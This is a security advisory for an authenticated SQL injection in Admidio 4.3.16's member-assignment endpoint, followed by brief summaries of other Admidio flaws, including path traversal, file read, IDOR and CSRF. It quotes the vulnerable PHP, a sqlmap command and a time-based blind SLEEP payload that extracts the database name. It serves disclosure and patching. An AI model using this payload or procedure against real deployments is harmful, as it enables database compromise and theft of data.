An authenticated SQL injection vulnerability exists in the member assignment data retrieval functionality of Admidio. Any authenticated user with permissions to assign members to a role (such as an administrator) can exploit this vulnerability to execute arbitrary SQL commands. This can lead to a full compromise of the application's database, including reading, modifying, or deleting all data. The vulnerability is present in the latest version, 4.3.16.
Details
The vulnerability is located in the admprogram/modules/groups-roles/membersassignmentdata.php script. This script handles an AJAX request to fetch a list of users for role assignment. The filterroluuid GET parameter is not properly sanitized before being used in a raw SQL query.
File: admprogram/modules/groups-roles/membersassignmentdata.php php // ... // The parameter is retrieved from the GET request without sufficient sanitization for SQL context. $getFilterRoleUuid = admFuncVariableIsValid($GET, 'filterroluuid', 'string'); $getMembersShowAll = admFuncVariableIsValid($GET, 'memshowall', 'bool', array('defaultValue' => false));
// ... $filterRoleCondition = ''; if ($getMembersShowAll) { $getFilterRoleUuid = 0; } else { // show only members of current organization if ($getFilterRoleUuid !== '') { // VULNERABLE CODE: $getFilterRoleUuid is directly concatenated into the query string. $filterRoleCondition = ' AND roluuid = \''.$getFilterRoleUuid . '\''; } }
// ... // The vulnerable $filterRoleCondition is then used inside a subselect. $sqlSubSelect = '(SELECT COUNT() AS countthis FROM '.TBLMEMBERS.' INNER JOIN '.TBLROLES.' ON rolid = memrolid INNER JOIN '.TBLCATEGORIES.' ON catid = rolcatid WHERE memusrid = usrid AND membegin <= \''.DATENOW.'\' AND memend > \''.DATENOW.'\' '.$filterRoleCondition.' AND rolvalid = true AND catnameintern <> \'EVENTS\' AND catorgid = '.$gCurrentOrgId.')'; // ...
As shown above, the value of $getFilterRoleUuid is directly concatenated into the $filterRoleCondition variable, which is then embedded within a larger SQL query ($sqlSubSelect). This allows an attacker to break out of the string literal and inject arbitrary SQL commands.
PoC (Proof of Concept)
Prerequisites: 1. A running instance of Admidio (tested on version 4.3.16). 2. An authenticated user session with permissions to assign members to a role (e.g., the default 'admin' user).
Execution: The vulnerability can be triggered by manipulating the filterroluuid parameter in the request to /admprogram/modules/groups-roles/membersassignmentdata.php. Due to the large number of parameters, the easiest way to reproduce this is by capturing a legitimate request and replaying it with sqlmap.
1. Log in to Admidio as an administrator. 2. Navigate to Groups / Roles. 3. Click the "Assign members" icon for any existing role. 4. Using a web proxy like Burp Suite, intercept the GET request made to /admprogram/modules/groups-roles/membersassignmentdata.php. 5. Save the entire raw request to a text file (e.g., admidiorequest.txt). 6. Run the following sqlmap command to confirm the time-based blind SQL injection:
bash sqlmap -r /path/to/admidiorequest.txt -p filterroluuid --technique=T --dbms=mysql --current-db
Result: sqlmap will successfully identify and exploit the time-based blind SQL injection vulnerability.
--- Parameter: filterroluuid (GET) Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: roleuuid=...&filterroluuid=' AND (SELECT 3332 FROM (SELECT(SLEEP(5)))vqnl) AND 'ENdG'='ENdG&... --- [INFO] the back-end DBMS is MySQL back-end DBMS: MySQL >= 5.0.12 [INFO] fetching current database [INFO] retrieved: admidio current database: 'admidio' This confirms that an attacker can execute arbitrary SQL queries and extract information from the database.
SQL Injection was discovered in admprogram/modules/dates/datesfunction.php in Admidio 3.2.5. The POST parameter datcatid is concatenated into a SQL query without any input validation/sanitization.
Admidio vulnerable to Unrestricted Upload of File with Dangerous Type
Admidio before 5.0.11 does not validate the admcsrftoken in modules/category-report/preferences.php, which performs persistent Category Report configuration changes based on GET parameters (delete and copy). An attacker can trick an authenticated administrator into visiting a crafted URL to delete or duplicate Category Report configurations, affecting the integrity and availability of that module's configuration.
Admidio from 5.0.0 before 5.0.16 contains an insecure direct object reference vulnerability in ForumService::saveTopic() that allows authenticated members to modify other users' forum topics. Attackers can replace the topicuuid parameter in their own topicsave request, reusing their CSRF token, to overwrite the victim topic's title and first post.
Admidio from 5.0.11 before 5.0.16 contains a broken access control vulnerability in modules/inventory/inventorydata.php that allows authenticated users to bypass the inventorymoduleenabled restriction. Attackers with any valid login can request the DataTables JSON feed to read every inventory item and keeper names, even when the module is disabled.
Admidio before 5.0.11 does not validate the admcsrftoken in modules/category-report/preferences.php, which performs persistent Category Report configuration changes based on GET parameters (delete and copy). An attacker can trick an authenticated administrator into visiting a crafted URL to delete or duplicate Category Report configurations, affecting the integrity and availability of that module's configuration.
Admidio from 5.0.0 before 5.0.18 contains a path traversal vulnerability in DocumentsService::renameFile() that allows authenticated users to move files outside admmyfiles by supplying an unvalidated admnewname value. Attackers with folder upload permission can submit ../ sequences to filerenamesave to write files and create directories in arbitrary writable locations, including the web root.
Admidio from 5.0.2 before 5.0.17 contains an arbitrary file read vulnerability that allows any logged-in member to read server files by placing local paths in img src attributes of eCard messages. Attackers can send an eCard to their own account so sendEcard() embeds files like admmyfiles/config.php via addEmbeddedImage(), disclosing database credentials and /etc/passwd.
Admidio before 5.0.18 contains an insecure direct object reference vulnerability in mylist.php that loads list configurations by the listuuid parameter while checking only the organization, not the owner or private flag. Authenticated users with Lists module access who know a victim's list UUID can read its name, selected profile fields, sort order and filter conditions.